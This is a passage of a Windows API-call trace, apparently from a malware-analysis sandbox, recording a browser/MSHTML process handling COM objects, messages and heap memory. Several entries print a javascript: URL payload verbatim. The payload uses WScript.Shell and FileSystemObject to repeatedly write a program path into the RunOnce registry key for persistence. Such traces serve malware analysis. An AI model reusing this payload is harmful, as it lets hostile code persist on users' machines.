riid=0x7286d4b0*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95d59c | out: ppvObject=0x95d59c*=0x0) returned 0x80004002 [0254.464] IUnknown:QueryInterface (in: This=0x49b60b0, riid=0x7286d4d8*(Data1=0x79eac9d6, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95d59c | out: ppvObject=0x95d59c*=0x0) returned 0x80004002 [0254.464] GetCurrentThreadId () returned 0xe38 [0254.465] IUnknown:QueryInterface (in: This=0x49b60cc, riid=0x7410a8c4*(Data1=0xf3d8f080, Data2=0xa5eb, Data3=0x476f, Data4=([0]=0x9d, [1]=0x19, [2]=0xa5, [3]=0xef, [4]=0x24, [5]=0xe5, [6]=0xc2, [7]=0xe6)), ppvObject=0x95d4d4 | out: ppvObject=0x95d4d4*=0x0) returned 0x80004002 [0254.465] IUnknown:QueryInterface (in: This=0xa0b1d8, riid=0x7410a8c4*(Data1=0xf3d8f080, Data2=0xa5eb, Data3=0x476f, Data4=([0]=0x9d, [1]=0x19, [2]=0xa5, [3]=0xef, [4]=0x24, [5]=0xe5, [6]=0xc2, [7]=0xe6)), ppvObject=0x95d4d4 | out: ppvObject=0x95d4d4*=0x0) returned 0x80004002 [0254.465] IUnknown:QueryInterface (in: This=0x49b60b0, riid=0x7410a8c4*(Data1=0xf3d8f080, Data2=0xa5eb, Data3=0x476f, Data4=([0]=0x9d, [1]=0x19, [2]=0xa5, [3]=0xef, [4]=0x24, [5]=0xe5, [6]=0xc2, [7]=0xe6)), ppvObject=0x95d4d4 | out: ppvObject=0x95d4d4*=0x0) returned 0x80004002 [0254.465] GetCurrentThreadId () returned 0xe38 [0254.465] IInternetProtocol:Read (in: This=0x49b60cc, pv=0xa4799e, cb=0x1ffe, pcbRead=0x95f08c | out: pv=0xa4799e, pcbRead=0x95f08c*=0x0) returned 0x1 [0254.466] IInternetProtocol:Read (in: This=0x49b60cc, pv=0xa4799e, cb=0x1ffe, pcbRead=0x95f08c | out: pv=0xa4799e, pcbRead=0x95f08c*=0x0) returned 0x1 [0254.466] GetCurrentThreadId () returned 0xe38 [0254.466] GetCurrentThreadId () returned 0xe38 [0254.467] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x95ee9c | out: lpCPInfo=0x95ee9c) returned 1 [0254.467] IUnknown:AddRef (This=0x9f2328) returned 0x4 [0254.467] IUnknown:AddRef (This=0x9f6a6c) returned 0x12 [0254.467] IUnknown:QueryInterface (in: This=0x9f6a6c, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95ee64 | out: ppvObject=0x95ee64*=0x9f6a6c) returned 0x0 [0254.467] IUnknown:Release (This=0x9f6a6c) returned 0x12 [0254.467] IUnknown:AddRef (This=0x9f6a6c) returned 0x13 [0254.467] IUri:GetScheme (in: This=0x9f6a6c, pdwScheme=0x95eeb4 | out: pdwScheme=0x95eeb4*=0xf) returned 0x0 [0254.467] IUri:GetScheme (in: This=0x9f6a6c, pdwScheme=0x95ee94 | out: pdwScheme=0x95ee94*=0xf) returned 0x0 [0254.467] IUnknown:Release (This=0x9f2328) returned 0x3 [0254.468] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="text/html", cchCount1=7, lpString2="charset", cchCount2=7) returned 3 [0254.468] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f8 [0254.468] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4fc [0254.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x72a18920, lpParameter=0x49623c0, dwCreationFlags=0x0, lpThreadId=0x49623d4 | out: lpThreadId=0x49623d4*=0xfa0) returned 0x500 [0254.469] SetEvent (hEvent=0x4f8) returned 1 [0254.469] GetCurrentThreadId () returned 0xe38 [0254.469] IUnknown:AddRef (This=0x9f6a6c) returned 0x14 [0254.469] IUri:GetScheme (in: This=0x9f6a6c, pdwScheme=0x95f1c4 | out: pdwScheme=0x95f1c4*=0xf) returned 0x0 [0254.469] IUnknown:Release (This=0x9f6a6c) returned 0x13 [0254.469] IBindStatusCallback:OnStopBinding (This=0x9ebb78, hresult=0x0, szError=0x0) returned 0x0 [0254.469] IUri:GetScheme (in: This=0x9f6a6c, pdwScheme=0x95f220 | out: pdwScheme=0x95f220*=0xf) returned 0x0 [0254.469] GetCurrentThreadId () returned 0xe38 [0254.469] CoTaskMemFree (pv=0x0) [0254.469] IUnknown:Release (This=0xa0b1d8) returned 0x5 [0254.470] ReleaseBindInfo (pbindinfo=0x49b60f0) [0254.470] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.470] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.470] DispatchMessageW (lpMsg=0x95f69c) [0254.470] GetWindowLongW (hWnd=0x2021a, nIndex=-21) returned 76849872 [0254.470] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.470] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.470] DispatchMessageW (lpMsg=0x95f69c) [0254.470] GetWindowLongW (hWnd=0x2021a, nIndex=-21) returned 76849872 [0254.471] QueryPerformanceCounter (in: lpPerformanceCount=0x95f474 | out: lpPerformanceCount=0x95f474*=25777359917) returned 1 [0254.471] GetTickCount () returned 0x3eec6 [0254.471] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.471] GetCurrentThreadId () returned 0xe38 [0254.471] SetCoalescableTimer (hWnd=0x701f8, nIDEvent=0x2003, uElapse=0xa, lpTimerFunc=0x0, uToleranceDelay=0x0) returned 0x2003 [0254.471] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.471] GetCurrentThreadId () returned 0xe38 [0254.471] SetCoalescableTimer (hWnd=0x701f8, nIDEvent=0x2004, uElapse=0x12c, lpTimerFunc=0x0, uToleranceDelay=0x0) returned 0x2004 [0254.471] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.472] GetCurrentThreadId () returned 0xe38 [0254.472] GetTickCount64 () returned 0x3eec6 [0254.472] RedrawWindow (hWnd=0x701f8, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x2) returned 1 [0254.472] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.472] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.472] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.472] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.472] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.472] DispatchMessageW (lpMsg=0x95f69c) [0254.472] QueryPerformanceCounter (in: lpPerformanceCount=0x4968a00 | out: lpPerformanceCount=0x4968a00*=25777481411) returned 1 [0254.472] GetCurrentThreadId () returned 0xe38 [0254.472] GetCurrentThreadId () returned 0xe38 [0254.472] GetCurrentThreadId () returned 0xe38 [0254.473] QueryPerformanceCounter (in: lpPerformanceCount=0x95f378 | out: lpPerformanceCount=0x95f378*=25777517164) returned 1 [0254.473] SetEvent (hEvent=0x374) returned 1 [0254.473] CreateUri (in: pwzURI="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", dwFlags=0x3002b85, dwReserved=0x0, ppURI=0x95dd28 | out: ppURI=0x95dd28*=0x9f1a44) returned 0x0 [0254.473] IUnknown:QueryInterface (in: This=0x9f1a44, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95dcf8 | out: ppvObject=0x95dcf8*=0x9f1a44) returned 0x0 [0254.474] IUnknown:Release (This=0x9f1a44) returned 0x8 [0254.474] IUnknown:AddRef (This=0x9f1a44) returned 0x9 [0254.474] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x202) returned 0xa36560 [0254.474] IUnknown:Release (This=0x9f1a44) returned 0x8 [0254.474] IUnknown:Release (This=0x9f1a44) returned 0x7 [0254.474] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x100) returned 0xa499a8 [0254.474] FindResourceExW (hModule=0x726c0000, lpType=0x6, lpName=0x1fe, wLanguage=0x0) returned 0x6134088 [0254.474] LoadResource (hModule=0x726c0000, hResInfo=0x6134088) returned 0x613a4a4 [0254.474] LockResource (hResData=0x613a4a4) returned 0x613a4a4 [0254.474] VirtualQuery (in: lpAddress=0x613a4a4, lpBuffer=0x95eee4, dwLength=0x1c | out: lpBuffer=0x95eee4*(BaseAddress=0x613a000, AllocationBase=0x5d80000, AllocationProtect=0x2, RegionSize=0x46000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0254.474] SizeofResource (hModule=0x726c0000, hResInfo=0x6134088) returned 0x1be [0254.474] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa499a8 | out: hHeap=0x9d0000) returned 1 [0254.475] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x300) returned 0xa49cb8 [0254.475] memcpy_s (in: _Destination=0xa49cb8, _DestinationSize=0x300, _Source=0xa49ab0, _SourceSize=0x200 | out: _Destination=0xa49cb8) returned 0x0 [0254.475] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa49ab0 | out: hHeap=0x9d0000) returned 1 [0254.475] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa36560 | out: hHeap=0x9d0000) returned 1 [0254.475] RtlReAllocateHeap (Heap=0x9d0000, Flags=0x0, Ptr=0xa49cb8, Size=0x220) returned 0xa49cb8 [0254.475] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.476] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.477] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.477] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.644] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.644] DispatchMessageW (lpMsg=0x95f69c) [0254.644] KillTimer (hWnd=0x701f8, uIDEvent=0x2003) returned 1 [0254.644] GetTickCount () returned 0x3ef72 [0254.644] PostMessageW (hWnd=0x701f8, Msg=0x113, wParam=0x2000, lParam=0x0) returned 1 [0254.644] GetTickCount64 () returned 0x3ef72 [0254.644] QueryPerformanceCounter (in: lpPerformanceCount=0x95f2fc | out: lpPerformanceCount=0x95f2fc*=25794715316) returned 1 [0254.645] QueryPerformanceCounter (in: lpPerformanceCount=0x4968a00 | out: lpPerformanceCount=0x4968a00*=25794735009) returned 1 [0254.645] GetCurrentThreadId () returned 0xe38 [0254.645] GetCurrentThreadId () returned 0xe38 [0254.645] GetCurrentThreadId () returned 0xe38 [0254.645] GetFocus () returned 0x60210 [0254.645] GetCursorPos (in: lpPoint=0x95f264 | out: lpPoint=0x95f264*(x=1000, y=495)) returned 1 [0254.645] WindowFromPoint (Point=0x3e8) returned 0x100f8 [0254.646] QueryPerformanceCounter (in: lpPerformanceCount=0x95f2d0 | out: lpPerformanceCount=0x95f2d0*=25794826888) returned 1 [0254.646] QueryPerformanceCounter (in: lpPerformanceCount=0x95f2f0 | out: lpPerformanceCount=0x95f2f0*=25794833523) returned 1 [0254.646] GetTickCount () returned 0x3ef72 [0254.646] GetTickCount64 () returned 0x3ef72 [0254.646] GetTickCount64 () returned 0x3ef72 [0254.647] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.647] DispatchMessageW (lpMsg=0x95f69c) [0254.647] RevokeBindStatusCallback (pBC=0xa06858, pBSCb=0x9ebb78) returned 0x0 [0254.647] IUnknown:Release (This=0x9ebb38) returned 0x3 [0254.647] IUnknown:Release (This=0x9ebb78) returned 0x2 [0254.647] IUnknown:AddRef (This=0xa06858) returned 0x3 [0254.647] IUnknown:Release (This=0xa06858) returned 0x2 [0254.647] CoTaskMemFree (pv=0xa093f0) [0254.648] IUnknown:Release (This=0xa06858) returned 0x1 [0254.648] IInternetProtocol:UnlockRequest (This=0x49b60cc) returned 0x0 [0254.648] IUnknown:Release (This=0x49b60cc) returned 0x1 [0254.648] IUnknown:Release (This=0xa0b1d8) returned 0x1 [0254.648] IUnknown:Release (This=0x49b60b0) returned 0x0 [0254.648] GetProcessHeap () returned 0x9d0000 [0254.648] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa25368 | out: hHeap=0x9d0000) returned 1 [0254.648] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa09618 | out: hHeap=0x9d0000) returned 1 [0254.650] SetEvent (hEvent=0x4f8) returned 1 [0254.651] GetTickCount () returned 0x3ef81 [0254.651] IUnknown:AddRef (This=0x9f2ba8) returned 0x2 [0254.652] IUnknown:AddRef (This=0x9f1a44) returned 0x8 [0254.652] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0254.652] IInternetSecurityManager:MapUrlToZone (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", pdwZone=0x95f1c0, dwFlags=0x0 | out: pdwZone=0x95f1c0*=0xffffffff) returned 0x800c0011 [0254.652] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0254.652] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0254.652] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x9f2ba8, pUri=0x9f1a44, dwAction=0x1400, pPolicy=0x95f1c4, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0, pdwOutFlags=0x95f1a4 | out: pPolicy=0x95f1c4*=0x0, pdwOutFlags=0x95f1a4*=0x0) returned 0x0 [0254.652] IInternetSecurityManager:ProcessUrlAction (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", dwAction=0x1400, pPolicy=0x95f1c4, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x95f1c4*=0x0) returned 0x0 [0254.652] IUnknown:Release (This=0x9f2ba8) returned 0x1 [0254.652] IUnknown:Release (This=0x9f1a44) returned 0x7 [0254.652] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ppu=0x95f214 | out: ppu=0x95f214) returned 0x0 [0254.652] SetTimer (hWnd=0x60210, nIDEvent=0x1008, uElapse=0x64, lpTimerFunc=0x0) returned 0x1008 [0254.653] RedrawWindow (hWnd=0x60210, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0xa1) returned 1 [0254.653] QueryPerformanceCounter (in: lpPerformanceCount=0x95ee28 | out: lpPerformanceCount=0x95ee28*=25795558032) returned 1 [0254.653] QueryPerformanceCounter (in: lpPerformanceCount=0x95ee00 | out: lpPerformanceCount=0x95ee00*=25795565170) returned 1 [0254.653] QueryPerformanceCounter (in: lpPerformanceCount=0x95ed7c | out: lpPerformanceCount=0x95ed7c*=25795574801) returned 1 [0254.653] QueryPerformanceCounter (in: lpPerformanceCount=0x95ed70 | out: lpPerformanceCount=0x95ed70*=25795581518) returned 1 [0254.653] _ltow_s (in: _Value=3, _Buffer=0x95dd48, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0254.653] _ltow_s (in: _Value=3, _Buffer=0x95dd48, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0254.654] _ltow_s (in: _Value=3, _Buffer=0x95dd48, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0254.654] _ltow_s (in: _Value=3, _Buffer=0x95dd48, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0254.654] _ltow_s (in: _Value=3, _Buffer=0x95dd48, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0254.654] _ltow_s (in: _Value=3, _Buffer=0x95dd48, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0254.654] _ltow_s (in: _Value=3, _Buffer=0x95dd48, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0254.654] GetTickCount () returned 0x3ef81 [0254.655] GetVersionExW (in: lpVersionInformation=0x95eba0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7205cadf, dwMinorVersion=0x95eca4, dwBuildNumber=0x95ec2c, dwPlatformId=0x7205cafa, szCSDVersion="\x03") | out: lpVersionInformation=0x95eba0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0254.655] GetKeyboardLayoutList (in: nBuff=32, lpList=0x95ecc4 | out: lpList=0x95ecc4) returned 1 [0254.655] WTSGetActiveConsoleSessionId () returned 0x1 [0254.655] RegisterClipboardFormatA (lpszFormat="HTML Format") returned 0xc0b6 [0254.655] RegisterClipboardFormatA (lpszFormat="Rich Text Format") returned 0xc07a [0254.655] RegisterClipboardFormatA (lpszFormat="RTF As Text") returned 0xc07d [0254.655] RegisterClipboardFormatW (lpszFormat="FileGroupDescriptor") returned 0xc0b1 [0254.655] RegisterClipboardFormatW (lpszFormat="FileGroupDescriptorW") returned 0xc0b2 [0254.655] RegisterClipboardFormatW (lpszFormat="FileContents") returned 0xc076 [0254.655] RegisterClipboardFormatW (lpszFormat="Shell IDList Array") returned 0xc0ae [0254.655] RegisterClipboardFormatW (lpszFormat="UniformResourceLocator") returned 0xc0bb [0254.655] RegisterClipboardFormatA (lpszFormat="image/svg+xml") returned 0xc12d [0254.656] RegisterClipboardFormatA (lpszFormat="msSourceUrl") returned 0xc12e [0254.656] GetTickCount () returned 0x3ef81 [0254.656] IUnknown:AddRef (This=0x9f2ba8) returned 0x2 [0254.656] IUnknown:AddRef (This=0x9f1a44) returned 0x8 [0254.656] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0254.656] IInternetSecurityManager:MapUrlToZone (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", pdwZone=0x95eff0, dwFlags=0x0 | out: pdwZone=0x95eff0*=0xffffffff) returned 0x800c0011 [0254.656] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0254.656] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0254.657] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x9f2ba8, pUri=0x9f1a44, dwAction=0x2106, pPolicy=0x95eff4, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0, pdwOutFlags=0x95efd4 | out: pPolicy=0x95eff4*=0x0, pdwOutFlags=0x95efd4*=0x0) returned 0x0 [0254.657] IInternetSecurityManager:ProcessUrlAction (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", dwAction=0x2106, pPolicy=0x95eff4, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x95eff4*=0x0) returned 0x0 [0254.657] IUnknown:Release (This=0x9f2ba8) returned 0x1 [0254.657] IUnknown:Release (This=0x9f1a44) returned 0x7 [0254.657] GetTickCount () returned 0x3ef81 [0254.658] IUnknown:Release (This=0x9f2328) returned 0x2 [0254.658] IUnknown:Release (This=0x9f6a6c) returned 0xc [0254.658] IUnknown:Release (This=0x9f6a6c) returned 0xb [0254.658] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa4b610 | out: hHeap=0x9d0000) returned 1 [0254.658] IUnknown:Release (This=0x9f6a6c) returned 0xa [0254.658] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa30458 | out: hHeap=0x9d0000) returned 1 [0254.658] IUnknown:Release (This=0x9f6a6c) returned 0x9 [0254.658] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa47990 | out: hHeap=0x9d0000) returned 1 [0254.658] IUnknown:Release (This=0x9f1a44) returned 0x6 [0254.659] IUnknown:Release (This=0x9f6a6c) returned 0x8 [0254.659] IUnknown:Release (This=0x9f6a6c) returned 0x7 [0254.659] IUnknown:Release (This=0x9f1a44) returned 0x5 [0254.659] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa306b8 | out: hHeap=0x9d0000) returned 1 [0254.659] IUnknown:Release (This=0x9fc938) returned 0x0 [0254.659] IUnknown:Release (This=0xa0ab14) returned 0x1 [0254.659] IUnknown:Release (This=0xa0ab18) returned 0x0 [0254.659] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa0ab10 | out: hHeap=0x9d0000) returned 1 [0254.659] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9ebaf8 | out: hHeap=0x9d0000) returned 1 [0254.659] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa055d8 | out: hHeap=0x9d0000) returned 1 [0254.659] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa08fa0 | out: hHeap=0x9d0000) returned 1 [0254.659] GetCurrentThreadId () returned 0xe38 [0254.659] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa4c620 | out: hHeap=0x9d0000) returned 1 [0254.659] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa25238 | out: hHeap=0x9d0000) returned 1 [0254.660] QueryPerformanceCounter (in: lpPerformanceCount=0x95f378 | out: lpPerformanceCount=0x95f378*=25796264828) returned 1 [0254.660] SetEvent (hEvent=0x374) returned 1 [0254.661] StrCmpICW (pszStr1="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", pszStr2="about:blank") returned 9 [0254.661] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ppu=0x95f150 | out: ppu=0x95f150) returned 0x0 [0254.661] IUnknown:AddRef (This=0x9f1a44) returned 0x6 [0254.661] IUri:GetAbsoluteUri (in: This=0x9f1a44, pbstrAbsoluteUri=0x95f1e8 | out: pbstrAbsoluteUri=0x95f1e8*="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);") returned 0x0 [0254.661] IUnknown:Release (This=0x9f1a44) returned 0x5 [0254.662] GetCurrentThreadId () returned 0xe38 [0254.662] ShouldShowIntranetWarningSecband () returned 0x0 [0254.663] GetIUriPriv () returned 0x0 [0254.663] IUnknown:Release (This=0x9f1a44) returned 0x5 [0254.663] IUnknown:QueryInterface (in: This=0x9f1a44, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95f070 | out: ppvObject=0x95f070*=0x9f1a44) returned 0x0 [0254.663] IUnknown:Release (This=0x9f1a44) returned 0x5 [0254.663] IUnknown:AddRef (This=0x9f1a44) returned 0x6 [0254.663] IUnknown:QueryInterface (in: This=0x9f1a44, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95f070 | out: ppvObject=0x95f070*=0x9f1a44) returned 0x0 [0254.664] IUnknown:Release (This=0x9f1a44) returned 0x6 [0254.664] IUnknown:AddRef (This=0x9f1a44) returned 0x7 [0254.664] IUnknown:Release (This=0x9f1a44) returned 0x6 [0254.664] IUnknown:Release (This=0x9f1a44) returned 0x5 [0254.664] QueryPerformanceCounter (in: lpPerformanceCount=0x95f130 | out: lpPerformanceCount=0x95f130*=25796645780) returned 1 [0254.664] GetCursorPos (in: lpPoint=0x95efa8 | out: lpPoint=0x95efa8*(x=1000, y=495)) returned 1 [0254.664] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95efa8 | out: lpPoint=0x95efa8) returned 1 [0254.664] memcpy_s (in: _Destination=0x95e2b0, _DestinationSize=0xc28, _Source=0x738821b0, _SourceSize=0xc28 | out: _Destination=0x95e2b0) returned 0x0 [0254.664] GetKeyState (nVirtKey=16) returned 0 [0254.664] GetKeyState (nVirtKey=17) returned 0 [0254.664] GetKeyState (nVirtKey=18) returned 0 [0254.664] GetKeyState (nVirtKey=160) returned 0 [0254.664] GetKeyState (nVirtKey=162) returned 0 [0254.664] GetKeyState (nVirtKey=164) returned 0 [0254.665] GetCurrentThreadId () returned 0xe38 [0254.665] QueryPerformanceCounter (in: lpPerformanceCount=0x4968a00 | out: lpPerformanceCount=0x4968a00*=25796790880) returned 1 [0254.665] GetCurrentThreadId () returned 0xe38 [0254.665] GetCurrentThreadId () returned 0xe38 [0254.665] GetCurrentThreadId () returned 0xe38 [0254.676] LsGetRubyLsimethods () returned 0x0 [0254.676] LsGetTatenakayokoLsimethods () returned 0x0 [0254.676] LsGetHihLsimethods () returned 0x0 [0254.676] LsGetWarichuLsimethods () returned 0x0 [0254.676] LsGetReverseLsimethods () returned 0x0 [0254.676] LsCreateContext () returned 0x0 [0254.676] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x670) returned 0xa4b610 [0254.676] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x24) returned 0xa3f298 [0254.676] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x110) returned 0xa0b030 [0254.676] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x24) returned 0xa3f3b8 [0254.676] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x2e4) returned 0xa0b148 [0254.676] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x20) returned 0xa3a8e8 [0254.676] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x20) returned 0xa3a780 [0254.676] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0xa0) returned 0x9ebaf8 [0254.676] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x40) returned 0xa38e30 [0254.677] RtlAllocateHeap (HeapHandle=0x9d0000, 